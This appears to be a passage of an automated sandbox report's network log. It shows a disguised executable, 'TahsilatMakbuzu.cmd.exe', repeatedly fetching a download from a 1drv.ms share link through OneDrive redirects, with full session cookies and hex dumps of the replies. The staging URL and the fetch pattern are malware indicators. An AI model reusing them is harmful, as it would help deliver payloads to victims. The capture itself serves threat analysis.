2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49874	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:37 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:37 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL6PPF57FD6E79E Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: iJmVcF+bFUeiUKa7CDRKqw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0BA3C1B4298F40EEB411886F1A575E2F Ref B: EWR30EDGE0322 Ref C: 2024-07-04T18:18:37Z Date: Thu, 04 Jul 2024 18:18:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49875	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:38 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:39 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:ieuruVWc3Ig=:Xo6vXw/A+EMPRHo+Zp1xAYU5FzKj3a53CNzjc7wEqPQ=:F; domain=.live.com; path=/ Set-Cookie: xid=ef475d73-85d0-4d68-88ac-2b30875bbe8a&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:38 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE4LCJuYmYiOjE3MjAxMTcxMTgsImdpdmVuX25hbWUiOiI5NiIsImZhbWlseV9uYW1lIjoiQ3VybGV3IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY4NGMyZDNmMjI3NjlmMDA1YTQxNjYwMDg4NWNjMTgiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExOH0.c5hgBrVG4nZ5IagX2MTkcn9cTCbuztUDP5ktCGCpxTXQPdO147NSpXXD98EEWVC_03RXDCA-XUSxSUNXWtUihCsp5PLPJQMSo4m2pIJQw-3CQuEhQgdkxisil3qtAsQ3svtdYudGw7Sv0SLxALHy4vsLm565IWRUWpeC4Lali6I8u1p7w47mt_WVUrEmecdIMyVZlYB0ESSd1cFkF4ausUiFEQT6Fr9v0et09hDiKHp0vOLssyleuVdoY4KagfoRGwys-X0bEK-oIWGpsYa9yK8R7i41gwyMmGzbRfI2vWevzrZOtZazwlph2h1kb-NbWDVjmnd6iT6VMZCHym1p9w; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:39 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-q5pxf X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: ECCC4D01A8D54546B4F76D866249D61E Ref B: BN3EDGE0721 Ref C: 2024-07-04T18:18:38Z Date: Thu, 04 Jul 2024 18:18:38 GMT Connection: close
2024-07-04 18:18:39 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49876	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:39 UTC	1280	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE4LCJuYmYiOjE3MjAxMTcxMTgsImdpdmVuX25hbWUiOiI5NiIsImZhbWlseV9uYW1lIjoiQ3VybGV3IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY4NGMyZDNmMjI3NjlmMDA1YTQxNjYwMDg4NWNjMTgiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExOH0.c5hgBrVG4nZ5IagX2MTkcn9cTCbuztUDP5ktCGCpxTXQPdO147NSpXXD98EEWVC_03RXDCA-XUSxSUNXWtUihCsp5PLPJQMSo4m2pIJQw-3CQuEhQgdkxisil3qtAsQ3svtdYudGw7Sv0SLxALHy4vsLm565IWRUWpeC4Lali6I8u1p7w47mt_WVUrEmecdIMyVZlYB0ESSd1cFkF4ausUiFEQT6Fr9v0et09hDiKHp0vOLssyleuVdoY4KagfoRGwys-X0bEK-oIWGpsYa9yK8R7i41gwyMmGzbRfI2vWevzrZOtZazwlph2h1kb-NbWDVjmnd6iT6VMZCHym1p9w; E=P:ieuruVWc3Ig=:Xo6vXw/A+EMPRHo+Zp1xAYU5FzKj3a53CNzjc7wEqPQ=:F; xid=ef475d73-85d0-4d68-88ac-2b30875bb [TRUNCATED]
2024-07-04 18:18:40 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,1984,0,29060,70 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 521239a1-303b-5000-f3bc-9dd72b708f40 request-id: 521239a1-303b-5000-f3bc-9dd72b708f40 MS-CV: oTkSUjswAFDzvJ3XK3CPQA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 26 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2C0B41461EA74419AFB19A18A36CE013 Ref B: BN3EDGE0520 Ref C: 2024-07-04T18:18:39Z Date: Thu, 04 Jul 2024 18:18:39 GMT Connection: close
2024-07-04 18:18:40 UTC	3907	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 31 39 43 2d 36 41 39 37 42 46 34 44 31 30 30 41 22 3a 74 72 75 65 2c 22 42 42 37 36 44 33 37 44 2d 30 35 41 45 2d 34 37 31 35 2d 38 31 32 35 2d 35 39 39 34 43 32 41 41 41 45 35 39 22 3a 74 72 75 65 2c 22 46 36 44 38 38 46 30 39 2d 36 34 38 44 2d 34 43 33 38 2d 42 33 44 38 2d 36 37 36 46 36 34 32 36 36 46 36 33 22 3a 74 72 75 65 2c 22 32 32 31 37 45 30 31 39 2d 33 43 32 43 2d 34 31 45 36 2d 41 37 34 30 2d 38 31 36 35 35 42 44 33 31 45 46 44 22 3a 74 72 75 65 2c 22 38 39 36 34 31 38 34 31 2d 45 33 35 36 2d 34 36 34 35 2d 38 34 45 33 2d 34 46 37 33 37 32 34 42 41 30 39 39 22 3a 74 72 75 65 2c 22 45 36 44 43 43 30 39 45 2d 31 33 41 45 2d 34 33 30 33 2d 39 43 46 36 2d 38 36 36 32 38 33 44 42 46 36 41 32 22 3a 74 72 75 65 2c 22 37 30 38 45 46 35 32 30 2d 43 39 Data Ascii: 19C-6A97BF4D100A":true,"BB76D37D-05AE-4715-8125-5994C2AAAE59":true,"F6D88F09-648D-4C38-B3D8-676F64266F63":true,"2217E019-3C2C-41E6-A740-81655BD31EFD":true,"89641841-E356-4645-84E3-4F73724BA099":true,"E6DCC09E-13AE-4303-9CF6-866283DBF6A2":true,"708EF520-C9
2024-07-04 18:18:40 UTC	2480	IN	Data Raw: 41 34 38 44 46 39 31 46 22 3a 74 72 75 65 2c 22 34 37 35 30 33 41 39 38 2d 46 42 30 36 2d 34 34 30 41 2d 42 39 32 31 2d 31 34 35 37 41 32 32 42 31 37 46 39 22 3a 74 72 75 65 2c 22 41 37 36 44 30 34 42 41 2d 35 46 35 44 2d 34 31 32 35 2d 39 30 36 43 2d 34 44 46 37 41 45 35 37 30 38 30 35 22 3a 74 72 75 65 2c 22 32 44 43 44 31 33 30 32 2d 43 30 44 37 2d 34 43 30 35 2d 38 41 35 36 2d 30 32 37 30 45 36 43 37 32 38 34 45 22 3a 74 72 75 65 2c 22 36 45 38 38 34 31 43 34 2d 44 32 32 31 2d 34 36 30 35 2d 42 30 30 37 2d 32 42 46 32 41 34 45 39 46 41 31 39 22 3a 74 72 75 65 2c 22 37 42 39 32 31 34 39 37 2d 44 32 34 30 2d 34 34 36 46 2d 42 38 33 32 2d 32 38 35 39 44 43 34 33 32 33 39 46 22 3a 74 72 75 65 2c 22 31 46 37 33 43 43 39 42 2d 32 41 31 37 2d 34 33 37 45 2d Data Ascii: A48DF91F":true,"47503A98-FB06-440A-B921-1457A22B17F9":true,"A76D04BA-5F5D-4125-906C-4DF7AE570805":true,"2DCD1302-C0D7-4C05-8A56-0270E6C7284E":true,"6E8841C4-D221-4605-B007-2BF2A4E9FA19":true,"7B921497-D240-446F-B832-2859DC43239F":true,"1F73CC9B-2A17-437E-
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:18:40 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49877	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:40 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:41 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF74A054022 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: i/FpIghmzU6UeZckjBpKaw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F3F8903140B84C1DBF646B82DB62B26E Ref B: EWR30EDGE1020 Ref C: 2024-07-04T18:18:41Z Date: Thu, 04 Jul 2024 18:18:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49878	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:41 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
